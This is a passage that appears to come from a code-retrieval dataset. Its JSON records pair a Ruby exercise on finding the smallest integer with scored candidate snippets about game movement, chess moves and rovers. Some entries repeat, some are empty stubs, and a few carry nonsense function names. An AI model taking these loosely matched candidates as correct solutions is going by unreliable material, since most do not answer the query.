and @x >= 163 and @x <= 187 #Limitação do movimento para cima - 5ª Linha 5° bloco\n\t\t@y += @velocity if @y >= 174 and @y <= 199 and @x >= 195 and @x <= 219 #Limitação do movimento para cima - 5ª Linha 6° bloco\n\n\t\tchangeSprite([0, 1, 2])\n end", "title": "" }, { "docid": "192bb281dc0288fb51b713a83f41c97d", "score": "0.5606987", "text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5) + 3\n puts \"Você acertou o montro, o seu dano foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts \"Monstro está morto!\"\n end\n\n unless alvo.esta_vivo?\n puts \"O monstro está morto \\n\\n\"\n self.numero_de_mortos += 1\n end\n\n end", "title": "" }, { "docid": "685c2aec48d6b52104acf9fc69eace13", "score": "0.5604093", "text": "def left(amount) vetted_move(origin.left(amount)) end", "title": "" }, { "docid": "685c2aec48d6b52104acf9fc69eace13", "score": "0.5604093", "text": "def left(amount) vetted_move(origin.left(amount)) end", "title": "" }, { "docid": "2ffff0b31e66332e4366c02735c23617", "score": "0.55824494", "text": "def mover(columna_anterior, fila_anterior, columna_siguiente, fila_siguiente)\n self.tap do |tablero|\n unless se_puede_jugar?\n raise MovimientoInvalido, \"la partida ha terminado\"\n end\n\n unless tablero[columna_anterior][fila_anterior]\n raise MovimientoInvalido, \"pieza inexistente\"\n end\n\n unless tablero[columna_anterior][fila_anterior].color == @jugador\n raise MovimientoInvalido, \"turno incorrecto\"\n end\n\n unless tablero[columna_anterior][fila_anterior].puede_moverse?(columna_siguiente, fila_siguiente)\n raise MovimientoInvalido, \"la pieza no puede moverse a la posicion indicada\"\n end\n\n @notacion = tablero[columna_anterior][fila_anterior].notacion(columna_siguiente, fila_siguiente)\n\n tablero[columna_anterior][fila_anterior].mover(columna_siguiente, fila_siguiente)\n\n @jugador = jugador_siguiente\n\n if jaque_mate?\n @notacion << \"++\"\n elsif !ahogado? and suficientes_piezas? and jaque?\n @notacion << \"+\"\n end\n\n @historial << @notacion\n end\n end", "title": "" }, { "docid": "930209371dfb02ca0ba442f7ef357c49", "score": "0.55764085", "text": "def arriba\n return if @jumping\n @song_salto.play\n @jumping = true\n @corriendo ? self.velocity_y = -13 : self.velocity_y = -10\n end", "title": "" }, { "docid": "356b90bff9dd0425250c59cacf9c8fa9", "score": "0.5573179", "text": "def toward(pt)\n end", "title": "" }, { "docid": "8b146d81a30239707c709939ae0d8f9c", "score": "0.55697656", "text": "def move\n case @facing_direction\n when North\n @y_coordinate += 1\n when South\n @y_coordinate -= 1\n when East\n @x_coordinate += 1\n when West\n @x_coordinate -= 1\n else\n raise Exception.new(\"Direction not recognised\");\n end\n unless self.within_plateu.nil? || self.within_plateu\n raise Exception.new(\"Rover toppled over, it was out of the plateu\");\n end\n end", "title": "" }, { "docid": "42d3a0a817e27aef8008fd06611dc425", "score": "0.5557941", "text": "def setup\n size(800, 200)\n @attractor = Attractor.new(width, height)\n @movers = Array.new(20) {\n Mover.new(\n rand(4.0 .. 12),\n rand(width.to_f),\n rand(height.to_f)\n )\n }\nend", "title": "" }, { "docid": "fc278e5267729be41e2cd907da1136ce", "score": "0.55519694", "text": "def leben_verloren(animation)\n @leben -= 1\n if(@leben <= 0)\n @app.alert \"Game Over\"\n animation.stop\n else\n @x_position = @start_position_x\n @y_position = @start_position_y\n @image.move(@x_position, @y_position)\n end\n end", "title": "" }, { "docid": "ebe32ae4b7c2e4385df22917ceb3050c", "score": "0.55453247", "text": "def makemove(m)\n # test to see if a castle move is legal and move the rook\n # (the king is moved with the usual move code later) */\n if CCOND(m.bits & 2)\n return false if in_check(side)\n \n case (m.to)\n when 62\n if (@color[F1] != EMPTY || @color[G1] != EMPTY ||\n attack(F1, @xside) || attack(G1, @xside))\n return false\n end\n \n from = H1;\n to = F1;\n when 58\n if (@color[B1] != EMPTY || @color[C1] != EMPTY || @color[D1] != EMPTY ||\n attack(C1, @xside) || attack(D1, @xside))\n return false\n end\n \n from = A1\n to = D1\n when 6\n if (@color[F8] != EMPTY || @color[G8] != EMPTY ||\n attack(F8, @xside) || attack(G8, @xside))\n return false\n end\n from = H8\n to = F8\n when 2\n if (@color[B8] != EMPTY || @color[C8] != EMPTY || @color[D8] != EMPTY ||\n attack(C8, @xside) || attack(D8, @xside))\n return false\n end\n from = A8;\n to = D8;\n else # shouldn't get here \n from = -1;\n to = -1;\n end\n \n @color[to] = @color[from];\n @piece[to] = @piece[from];\n @color[from] = EMPTY;\n @piece[from] = EMPTY;\n end\n\n # back up information so we can take the move back later. */\n @hist_dat[@hply].m.b = m\n @hist_dat[@hply].capture = @piece[m.to]\n @hist_dat[@hply].castle = @castle\n @hist_dat[@hply].ep = @ep\n @hist_dat[@hply].fifty = @fifty\n @hist_dat[@hply].hash = @hash\n @ply += 1\n @hply += 1\n\n # update the castle, en passant, and\n # fifty-move-draw variables\n @castle &= CASTLE_MASK[m.from] & CASTLE_MASK[m.to]\n if CCOND(m.bits & 8)\n if (@side == LIGHT)\n @ep = m.to + 8;\n else\n @ep = m.to - 8;\n end\n else\n @ep = -1\n end\n \n if CCOND(m.bits & 17)\n @fifty = 0\n else\n @fifty += 1\n end\n\n # move the piece\n @color[m.to] = side\n if CCOND(m.bits & 32)\n @piece[m.to] = m.promote;\n else\n @piece[m.to] = @piece[m.from];\n end\n \n @color[m.from] = EMPTY;\n @piece[m.from] = EMPTY;\n\n # erase the pawn if this is an en passant move */\n if CCOND(m.bits & 4)\n if (side == LIGHT)\n @color[m.to + 8] = EMPTY;\n @piece[m.to + 8] = EMPTY;\n else\n @color[m.to - 8] = EMPTY;\n @piece[m.to - 8] = EMPTY;\n end\n end\n\n # switch sides and test for legality (if we can capture\n # the other guy's king, it's an illegal position and\n # we need to take the move back)\n @side ^= 1\n @xside ^= 1\n if (in_check(@xside))\n takeback()\n return false\n end\n set_hash()\n return true\n end", "title": "" }, { "docid": "b4446e7f912012b81188d05aae3c1248", "score": "0.5544923", "text": "def player_move\n #> gestion du vélo cross\n jumping = false\n jumping_dist = 1\n if @acro_bike_bunny_hop\n return if (jumping = update_acro_bike(5, front_system_tag)) == false\n jumping_dist = 2 if JumpTags.include?(front_system_tag)\n end\n last_dir = @direction\n case @lastdir4\n when 2\n jumping ? jump(0, jumping_dist) : move_down\n when 4\n turn_left\n jumping ? jump(-jumping_dist, 0) : move_left\n when 6\n turn_right\n jumping ? jump(jumping_dist, 0) : move_right\n when 8\n jumping ? jump(0, -jumping_dist) : move_up\n #else\n #@cant_bump=true\n end\n calibrate_acro_direction(last_dir)\n update_cycling_state if @state == :cycle_stop && moving?\n end", "title": "" }, { "docid": "518d659cf401600732f066966d6d3064", "score": "0.55409104", "text": "def move_stop_go_back(obj)\n if obj.y < 150\n vy = 2\n else\n vy = 0\n end\n \n if Time.now - obj.creation_t > 6\n vy = -2\n end\n \n [0, vy]\n end", "title": "" }, { "docid": "14f993b3c42084f797dcb0cbc992ae24", "score": "0.5530038", "text": "def bater(alvo)\n if alvo.esta_vivo?\n self.ataque = Random.rand(5)\n puts \"O dano monstro foi #{self.ataque}\"\n alvo.energia -= self.ataque\n else\n puts 'Voce está morto!'\n end\n # puts 'Voce está morto!' unless is_alive?\n end", "title": "" }, { "docid": "6b62d8a0a8d0dec352dcac7e6b8b4491", "score": "0.55177546", "text": "def setup_smooth_return\n tx = @ori_x\n ty = @ori_y\n dur = @act[1] || 25\n rev = @acts[2]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "6b62d8a0a8d0dec352dcac7e6b8b4491", "score": "0.55177546", "text": "def setup_smooth_return\n tx = @ori_x\n ty = @ori_y\n dur = @act[1] || 25\n rev = @acts[2]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "6b62d8a0a8d0dec352dcac7e6b8b4491", "score": "0.55177546", "text": "def setup_smooth_return\n tx = @ori_x\n ty = @ori_y\n dur = @act[1] || 25\n rev = @acts[2]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "24a7408bd1529176ce3d47fa67a95a94", "score": "0.5510216", "text": "def zoonist_vulnose()\n pyretogenic_rhamnaceae(outgrin_splitmouth, cramper_voet, rewish_hamulites)\n end", "title": "" }, { "docid": "6118babc3fda6bd0c2f747a2222e0d12", "score": "0.5502245", "text": "def move(left, top)\n \n end", "title": "" }, { "docid": "c2f7869874302ecedb2f8afe3864689c", "score": "0.54957867", "text": "def move\n#\t\treturn render :text => \"Jestem w move #{params.to_yaml}:)\"\n\t @soon=Soon.find(params[:id])\n case params[:move]\n\t\t when \"up\" then @soon.move_higher\n\t \t when \"down\" then @soon.move_lower\n \t\t when \"last\" then @soon.move_to_bottom\n\t\t when \"first\" then @soon.move_to_top\n\t end\n\t redirect_to admin_magazine_soons_path\n end", "title": "" }, { "docid": "30e0917288eeb3311a85acca13f70312", "score": "0.54944986", "text": "def test_move_from_location\n @player.visits = 3\n @player.current_location = @sutter_creek\n @g.move_from_location(@player)\n assert_includes([@coloma, @angels_camp], @player.current_location)\n end", "title": "" }, { "docid": "3521b232037673931ddbc389167adc58", "score": "0.5494323", "text": "def petal(x=0, y=0, w=10, h=50, bulge=h/2)\n moveto(x,y)\n qcurveto(x - w, y + bulge, x, y + h)\n qcurveto(x + w, y + bulge, x, y)\n endpath\n self\n end", "title": "" }, { "docid": "b0d3025ef19d41b70923f536e4814dfa", "score": "0.5491778", "text": "def recover_army_morale_speed(v)\n land_unit_power v*0.1\n end", "title": "" }, { "docid": "b0d3025ef19d41b70923f536e4814dfa", "score": "0.5491778", "text": "def recover_army_morale_speed(v)\n land_unit_power v*0.1\n end", "title": "" }, { "docid": "04a87aba7de7c4e23d032f0063d8ec0d", "score": "0.5480787", "text": "def test_moves_forward_south\n rover = Rover.new(2, 1, 'S')\n rover.receives_instructions(\"M\")\n assert_equal(rover.position, [2, 0, 'S'])\n end", "title": "" }, { "docid": "754869d7c8a5e5657f6b3233456bf2ef", "score": "0.5472601", "text": "def setup\n sketch_title 'Extra Instant Force'\n @mover = Mover.new(location: Vec2D.new(width, height) / 2.0)\n @t = 0.0\nend", "title": "" }, { "docid": "d2f7c24f350d23a032dac3465bf09bfd", "score": "0.54704666", "text": "def move\n \tcase @facing\n when \"NORTH\"\n self.yPosition += 1\n when \"EAST\"\n self.xPosition += 1\n when \"SOUTH\"\n self.yPosition -= 1\n when \"WEST\"\n self.xPosition -= 1\n end\n\tend", "title": "" }, { "docid": "cc2998aaaddc99065c47fba869c02b0d", "score": "0.5469376", "text": "def moveto(x, y)\n @x = x # % $game_map.width # Removed because of new tilemap\n @y = y # % $game_map.height\n @real_x = @x * 128\n @real_y = @y * 128\n @prelock_direction = 0\n # Warp the follower\n if @follower\n @follower.moveto(x, y)\n @follower.direction = @direction\n end\n # Update the stop count\n self.move_frequency = @move_frequency\n moveto_system_tag_manage\n end", "title": "" }, { "docid": "6d3417d8d2386ade42018fc179ef1138", "score": "0.5468641", "text": "def traveling (mot, distance)\r\n\r\nend", "title": "" }, { "docid": "9f03e2351f25041a2bf999734ba44692", "score": "0.5462739", "text": "def get_move\n\n\tend", "title": "" }, { "docid": "d007c3166fc2d3fb3b4dd999e0691dc7", "score": "0.54555655", "text": "def gravitate(moon)\n @v[0] += moon.x <=> @x\n @v[1] += moon.y <=> @y\n @v[2] += moon.z <=> @z\n end", "title": "" }, { "docid": "07d1dd7d2bfc15f56c090d88bd908218", "score": "0.545331", "text": "def auf_position_setzen(ziel_pos_x,ziel_pos_y)\n bewegen(ziel_pos_x-position.x, ziel_pos_y-position.y, 1, 1, 0)\n end", "title": "" }, { "docid": "95a4b47ded19527de83b6a0f3831f67e", "score": "0.5450924", "text": "def move()\n\nend", "title": "" }, { "docid": "5161f60bfbada27b25d801397421fb23", "score": "0.5450058", "text": "def test_moves_forward_west\n rover = Rover.new(2, 2, 'W')\n rover.receives_instructions(\"M\")\n assert_equal(rover.position, [1, 2, 'W'])\n end", "title": "" }, { "docid": "90acd0ee65f2934e2a86655a92ab7e88", "score": "0.5449741", "text": "def test_moves_forward_east\n rover = Rover.new(2, 1, 'E')\n rover.receives_instructions(\"M\")\n assert_equal(rover.position, [3, 1, 'E'])\n end", "title": "" }, { "docid": "f508549e9bd06b9bc532da4b3792f576", "score": "0.5448771", "text": "def presentacion\n @velocidad = 0 #establece el atributo de velocidad en 0\n #con este while simula que incrementa la velocidad del ventilador de 1 en 1 hasta llegar a su velocidad máxima\n while @velocidad != @max_velocidad\n @velocidad += 1\n puts\"La marca de este ventilador es #{@marca}, la velocidad es #{@velocidad}, la maxima velocidad #{@max_velocidad}\"\n end\n end", "title": "" }, { "docid": "174e20f981951e70ab583f7990632bff", "score": "0.5448409", "text": "def disminuir_velocidad\r\n @velocidad = @velocidad_inicial\r\n end", "title": "" }, { "docid": "99a59a3d6eaba284ef916809a37b42f5", "score": "0.5448272", "text": "def get_move\n\tend", "title": "" }, { "docid": "997a054365fab0ce62d3432fa18b8cff", "score": "0.54349625", "text": "def moves\n super\n end", "title": "" }, { "docid": "59f66ced81509c5c5d592ad497d4646f", "score": "0.5429677", "text": "def marinheiro_allele(prehaunted, antiplethoric, tankful_waeg)\n end", "title": "" }, { "docid": "5676ba98d86cfbfed56f57c673962d2d", "score": "0.5427991", "text": "def move rover\n # set x axis rover position\n rover.position.x += MOVEMENTS[rover.position.direction][0]\n # set y axis rover position\n rover.position.y += MOVEMENTS[rover.position.direction][1]\n # verify if rover is on plateau after move\n raise ArgumentError.new(\"Invalid commands, rover is out of plateau\") if rover.position.x > max_x or rover.position.y > max_y or rover.position.x < 0 or rover.position.y < 0\n end", "title": "" }, { "docid": "bd7538cac7f2ff62fd87adfe83e04e99", "score": "0.5417796", "text": "def aumentar_velocidad\r\n @velocidad = @velocidad_alta\r\n end", "title": "" }, { "docid": "7c37d6f1050c4b6347e282078c1ef0c2", "score": "0.5415757", "text": "def move_vector_jump\n if @king\n move_vector = [2, 2].product([-2, -2])\n else\n move_vector = (@color == :black) ? [[2, 2], [2, -2]] : [[-2, 2], [-2, -2]] \n end\n end", "title": "" }, { "docid": "b370b317acb48fc4a00f3f9759d31c0f", "score": "0.54154295", "text": "def moveto(x, y)\r\n super\r\n center(x, y)\r\n make_encounter_count\r\n vehicle.refresh if vehicle\r\n @followers.synchronize(x, y, direction)\r\n end", "title": "" }, { "docid": "67b177ed8bf9995d86961847a3b1fc93", "score": "0.5410686", "text": "def run\n stabalizer\n move(:forward=>20, :right=>10)\n end", "title": "" }, { "docid": "0f814932a1d9865a7ac23bf7dcf44376", "score": "0.5405229", "text": "def margine_persone\n vincolo_persone - abitanti\n end", "title": "" }, { "docid": "0f814932a1d9865a7ac23bf7dcf44376", "score": "0.5405229", "text": "def margine_persone\n vincolo_persone - abitanti\n end", "title": "" }, { "docid": "f21fc8f031673601f45983d322732481", "score": "0.5404095", "text": "def setup_smooth_move\n tx = @acts[1] || x\n ty = @acts[2] || y\n dur = @acts[3] || 25\n rev = @acts[4]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "f21fc8f031673601f45983d322732481", "score": "0.5404095", "text": "def setup_smooth_move\n tx = @acts[1] || x\n ty = @acts[2] || y\n dur = @acts[3] || 25\n rev = @acts[4]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "f21fc8f031673601f45983d322732481", "score": "0.5404095", "text": "def setup_smooth_move\n tx = @acts[1] || x\n ty = @acts[2] || y\n dur = @acts[3] || 25\n rev = @acts[4]\n rev = true if rev.nil?\n smooth_move(tx,ty,dur,rev)\n end", "title": "" }, { "docid": "2fd977d4eeda52b8772befa3bdf0ff24", "score": "0.5402043", "text": "def morir\n @estado = ESTADO_NARANJERO::MUERTO\n end", "title": "" }, { "docid": "391992386416eb157dff051265606029", "score": "0.54014367", "text": "def living_move\n simulate_move(opponent)\n end", "title": "" }, { "docid": "01d678a2d4be629f7945bd551a5d2c58", "score": "0.5401037", "text": "def moveto(x, y)\n super\n center(x, y)\n \n \n\n end", "title": "" }, { "docid": "d06825efc16b69926c0c319aa0bd46ca", "score": "0.53971064", "text": "def cambiar\n caja.cambiar monto, monto_aceptado\n end", "title": "" }, { "docid": "ffba01e999e80dcd280002487054940d", "score": "0.5395003", "text": "def move_down\n\t\t@y += @velocidadeDeMovimento\n\t\t@y = (@window.height - @radius - 19) if @y > @window.height - @radius - 19 #Limitador do movimento para baixo\n\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 35 and @x <= 59 #Limitação do movimento para baixo - 1ª Linha 1° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 67 and @x <= 91 #Limitação do movimento para baixo - 1ª Linha 2° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 99 and @x <= 123 #Limitação do movimento para baixo - 1ª Linha 3° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 131 and @x <= 155 #Limitação do movimento para baixo - 1ª Linha 4° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 163 and @x <= 187 #Limitação do movimento para baixo - 1ª Linha 5° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 40 and @y <= 56 and @x >= 195 and @x <= 219 #Limitação do movimento para baixo - 1ª Linha 6° bloco\n\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 35 and @x <= 59 #Limitação do movimento para baixo - 2ª Linha 1° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 67 and @x <= 91 #Limitação do movimento para baixo - 2ª Linha 2° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 99 and @x <= 123 #Limitação do movimento para baixo - 2ª Linha 3° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 131 and @x <= 155 #Limitação do movimento para baixo - 2ª Linha 4° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 163 and @x <= 187 #Limitação do movimento para baixo - 2ª Linha 5° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 72 and @y <= 88 and @x >= 195 and @x <= 219 #Limitação do movimento para baixo - 2ª Linha 6° bloco\n\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 35 and @x <= 59 #Limitação do movimento para baixo - 3ª Linha 1° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 67 and @x <= 91 #Limitação do movimento para baixo - 3ª Linha 2° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 99 and @x <= 123 #Limitação do movimento para baixo - 3ª Linha 3° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 131 and @x <= 155 #Limitação do movimento para baixo - 3ª Linha 4° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 163 and @x <= 187 #Limitação do movimento para baixo - 3ª Linha 5° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 104 and @y <= 120 and @x >= 195 and @x <= 219 #Limitação do movimento para baixo - 3ª Linha 6° bloco\n\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 35 and @x <= 59 #Limitação do movimento para baixo - 4ª Linha 1° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 67 and @x <= 91 #Limitação do movimento para baixo - 4ª Linha 2° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 99 and @x <= 123 #Limitação do movimento para baixo - 4ª Linha 3° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 131 and @x <= 155 #Limitação do movimento para baixo - 4ª Linha 4° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 163 and @x <= 187 #Limitação do movimento para baixo - 4ª Linha 5° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 136 and @y <= 152 and @x >= 195 and @x <= 219 #Limitação do movimento para baixo - 4ª Linha 6° bloco\n\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 35 and @x <= 59 #Limitação do movimento para baixo - 5ª Linha 1° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 67 and @x <= 91 #Limitação do movimento para baixo - 5ª Linha 2° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 99 and @x <= 123 #Limitação do movimento para baixo - 5ª Linha 3° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 131 and @x <= 155 #Limitação do movimento para baixo - 5ª Linha 4° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 163 and @x <= 187 #Limitação do movimento para baixo - 5ª Linha 5° bloco\n\t\t@y -= @velocidadeDeMovimento if @y >= 168 and @y <= 184 and @x >= 195 and @x <= 219 #Limitação do movimento para baixo - 5ª Linha 6° bloco\n end", "title": "" }, { "docid": "60b56b7d3ddb6d1fedb88e19952054ba", "score": "0.53902096", "text": "def home\n pen_up\n @xy, @heading = ORIGIN, NORTH\n end", "title": "" }, { "docid": "8b3b374712fa41dc5dafd45ff7a7d790", "score": "0.53842545", "text": "def smore(vesicoprostatic, unpoached_landaulet, alkes_bilbo)\n end", "title": "" }, { "docid": "871bf22c74f4fa143ee2c5de19804079", "score": "0.5376311", "text": "def home\n @xy = [0.0, 0.0]\n @heading = 0.0\n pen_up\n end", "title": "" }, { "docid": "1a47e093b39d887b2976920ebb144523", "score": "0.53638124", "text": "def trampoline\n\t\tmove(@direction)\n\tend", "title": "" }, { "docid": "875b2ad565bd5e943ef58916f4806d0d", "score": "0.5360186", "text": "def initialize move\n @mov = move\n end", "title": "" }, { "docid": "16f79115d51637b24182a8868ab579c2", "score": "0.5359922", "text": "def top_horloge_part_absolue\n @top_horloge_part_absolue ||= top_pfa_relatif - LINE_HEIGHT + 10 # 6*LINE_HEIGHT\nend", "title": "" }, { "docid": "4b156814d37ebecbe2fb9f28d8bf924f", "score": "0.53578705", "text": "def turn\n if southwest\n self.dir = \"east\"\n end\n if northeast\n self.dir = \"west\"\n end\n if northwest\n self.dir = \"south\"\n end\n if southeast\n self.dir = \"north\"\n end\n end", "title": "" }, { "docid": "7690ea97b370010bd4078b50ef10cad5", "score": "0.53560966", "text": "def ia_second_move_center(game)\n game.put_opposite(@a, @b, 'x')\n game.jogada_computador\n jogada('Jogador', 'o', game)\n ia_first_third_1(game)\nend", "title": "" }, { "docid": "31de1926a5052878e8aed34a276f19df", "score": "0.5353855", "text": "def move\r\n \t@previous_location = @current_location\r\n\tcase @current_location\r\n\t when 'Sutter Creek'\r\n\t @current_location = sutter_creek_move\r\n\t when 'Coloma'\r\n\t @current_location = coloma_move\r\n\t when 'Angels Camp'\r\n\t @current_location = angels_camp_move\r\n\t when 'Nevada City'\r\n\t @current_location = nevada_city_move\r\n\t when 'Virginia City'\r\n\t @current_location = virginia_city_move\r\n\t when 'Midas'\r\n\t @current_location = midas_move\r\n\t when 'El Dorado Canyon'\r\n\t @current_location = el_dorado_cn_move\r\n\tend\r\n\tputs 'Moving from ' + String(@previous_location) + ' to ' + String(@current_location) + ', carrying ' + String(@total_gold) + ounce_v_ounces(@total_gold) + ' of gold and ' + String(@total_silver) + ounce_v_ounces(@total_silver) + ' of silver.'\r\n end", "title": "" } ]
644c692786442bfc842e78bae11f3199
I worked on this challenge by myself. smallest_integer is a method that takes an array of integers as its input and returns the smallest integer in the array +list_of_nums+ is an array of integers smallest_integer(list_of_nums) should return the smallest integer in +list_of_nums+ If +list_of_nums+ is empty the method should return nil Your Solution Below =begin Pseudocode: Input: Array of numbers Output: Largest integer Steps to solve the problem: 1) Define method for returning the smallest integer in an array 2) Sort the list of numbers in the array 3) Return smallest integer in the array OR return 'nil' if the array is empty =end =begin Original Solution: def smallest_integer(list_of_nums) if list_of_nums.sort! return list_of_nums[0] else return nil end end =end Refactored Solution:
[ { "docid": "690dad069997cf16bf7f55479906d142", "score": "0.79267853", "text": "def smallest_integer(list_of_nums)\n list_of_nums.min\nend", "title": "" } ]
[ { "docid": "c9d7691856e5caeddb9fe642d5d8e5ec", "score": "0.88102", "text": "def smallest_integer(list_of_nums)\n if list_of_nums == nil #test to see if array is empty, if so return nil\n return nil\n elsif list_of_nums.length == 1 #test to see if array is only 1 index long\n return list_of_nums[0]\n else\n return list_of_nums.sort.first\n end\nend", "title": "" }, { "docid": "959db3695eba9fa8891c49fe10a51f31", "score": "0.872483", "text": "def smallest_integer(list_of_nums)\n if list_of_nums.length > 0\n sorted_array = list_of_nums.sort\n sorted_array[0]\n else\n nil\n end\nend", "title": "" }, { "docid": "cca52c5ff6b6465fdbc8caa6f35b1f1b", "score": "0.86411685", "text": "def smallest_integer(list_of_nums)\n number = list_of_nums.size\n if list_of_nums.empty?\n return nil\n else\n sorted = list_of_nums.sort\n return sorted[0]\n end\n # Your code goes here!\nend", "title": "" }, { "docid": "1eedc9b252ad96745a44f827b6d56d02", "score": "0.86399305", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n if list_of_nums.length == 0 then return nil end\n\n return list_of_nums.min\n\nend", "title": "" }, { "docid": "2f5a9997d37c6be78bd876181041613d", "score": "0.857364", "text": "def smallest_integer(list_of_nums)\n \n if list_of_nums.empty? == true\n \treturn nil\n end\n\n if list_of_nums.count == 1\n \treturn list_of_nums[0]\n end\n\n #return list_of_nums.min\n\n smallest = list_of_nums[0]\n\n list_of_nums[1..-1].each do |current|\n \tif current < smallest\n \t\tsmallest = current\n \tend\n end\n\nreturn smallest\n\nend", "title": "" }, { "docid": "9d752dfe39219905c168bf67cbef9693", "score": "0.855361", "text": "def smallest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n else\n smallest_num = list_of_nums[0]\n list_of_nums.each do |num|\n if num < smallest_num\n smallest_num = num\n end\n end\n return smallest_num\n end\nend", "title": "" }, { "docid": "24f66775216597bdabce118819d3afa2", "score": "0.8539649", "text": "def smallest_integer(list_of_nums)\n return list_of_nums == [] ? nil : list_of_nums.min\nend", "title": "" }, { "docid": "e4ea5acb6a5e26ad7a8b72b62625c302", "score": "0.851146", "text": "def smallest_integer(list_of_nums)\n if list_of_nums.empty?\n puts nil\n else\n list_of_nums.sort!\n puts list_of_nums[0]\n end\nend", "title": "" }, { "docid": "79b03ff46eec326ddde212a9ddc3a6bb", "score": "0.8476588", "text": "def smallest_integer(list_of_nums)\n if list_of_nums == nil\n return nil\n else\n smallest = list_of_nums[0]\n list_of_nums.each do |x|\n if x < smallest\n smallest = x\n\n end\n end\n end\n return smallest\nend", "title": "" }, { "docid": "351d852442a8ad11ec854b7967c267aa", "score": "0.84735054", "text": "def smallest_integer(list_of_nums)\n if list_of_nums == []\n return nil\n end\n smallest_so_far = list_of_nums[0]\n array = array_size(list_of_nums)\n for i in 0..array - 1\n if smallest_so_far > list_of_nums[i]\n smallest_so_far = list_of_nums[i]\n end\n end\n return smallest_so_far\nend", "title": "" }, { "docid": "e31d177c4744a4a9c26cab023c75b4c7", "score": "0.8389128", "text": "def smallest_integer(list_of_nums)\n # Your code goes here!\n return list_of_nums.min\n\n # min = nil\n #\n # if list_of_nums == []\n # return min\n # else\n # min = list_of_nums[0]\n # for i in 0...list_of_nums.length\n # if list_of_nums[i] < min\n # min = list_of_nums[i]\n # end\n # end\n # end\n #\n # return min\n\nend", "title": "" }, { "docid": "bdd636f8698950bc8055bbbc6b942266", "score": "0.8384107", "text": "def smallest_integer(list_of_nums)\n if list_of_nums[0] == nil\n return nil\n end\n lowest = list_of_nums[0]\n list_of_nums.each do |num|\n if num < lowest\n lowest = num\n end\n end\n return lowest\nend", "title": "" }, { "docid": "1cc1bdc5a74054378125326c67ce9336", "score": "0.8382298", "text": "def smallest_integer(list_of_nums)\n if list_of_nums.length < 1\n \treturn nil\n end\n\n i = 1\n smallest = list_of_nums[0]\n while i < list_of_nums.length \n \tif list_of_nums[i] < smallest\n \t\tsmallest = list_of_nums[i]\n \tend\n\n \ti += 1\n end\n\n return smallest\n\nend", "title": "" }, { "docid": "41b4d22e0be76452dd77e80bed8664e2", "score": "0.8375835", "text": "def smallest_integer(list_of_nums)\n\tsmallest_integer = list_of_nums[0]\n\tif list_of_nums== nil\n\t\treturn nil \n\tend \n\tlist_of_nums.each do |nums|\n\t\tif nums < smallest_integer \n\t\t smallest_integer = nums \n\t\tend\n\tend \n\tsmallest_integer \nend", "title": "" }, { "docid": "54a4f8e378596c6d6b99f70c8d246f77", "score": "0.8374096", "text": "def smallest_integer(list_of_nums)\n\t\n\t if list_of_nums == []\n\t return nil\n\t end\n\n\tsmallest_num = list_of_nums[0]\n \n\t\tlist_of_nums.each do |number|\n\n\t\t\tif number < smallest_num\n\t\t\t\tsmallest_num = number\n\t\t\tend\n end\n return smallest_num\nend", "title": "" }, { "docid": "09b876bc823fb106f6ee5ebb2b1ee4b2", "score": "0.8359587", "text": "def smallest_integer(list_of_nums)\n #if list_of_nums.length == 0\n #\treturn nil\n #end\n\n smallest = list_of_nums[0]\n list_of_nums.each { |idx|\n \tif idx < smallest\n \t smallest = idx\n \tend\n }\n return smallest\nend", "title": "" }, { "docid": "c1b4435afe34f089b2829240f2acfc8a", "score": "0.8352512", "text": "def smallest_integer(list_of_nums)\n if list_of_nums.length == 0\n 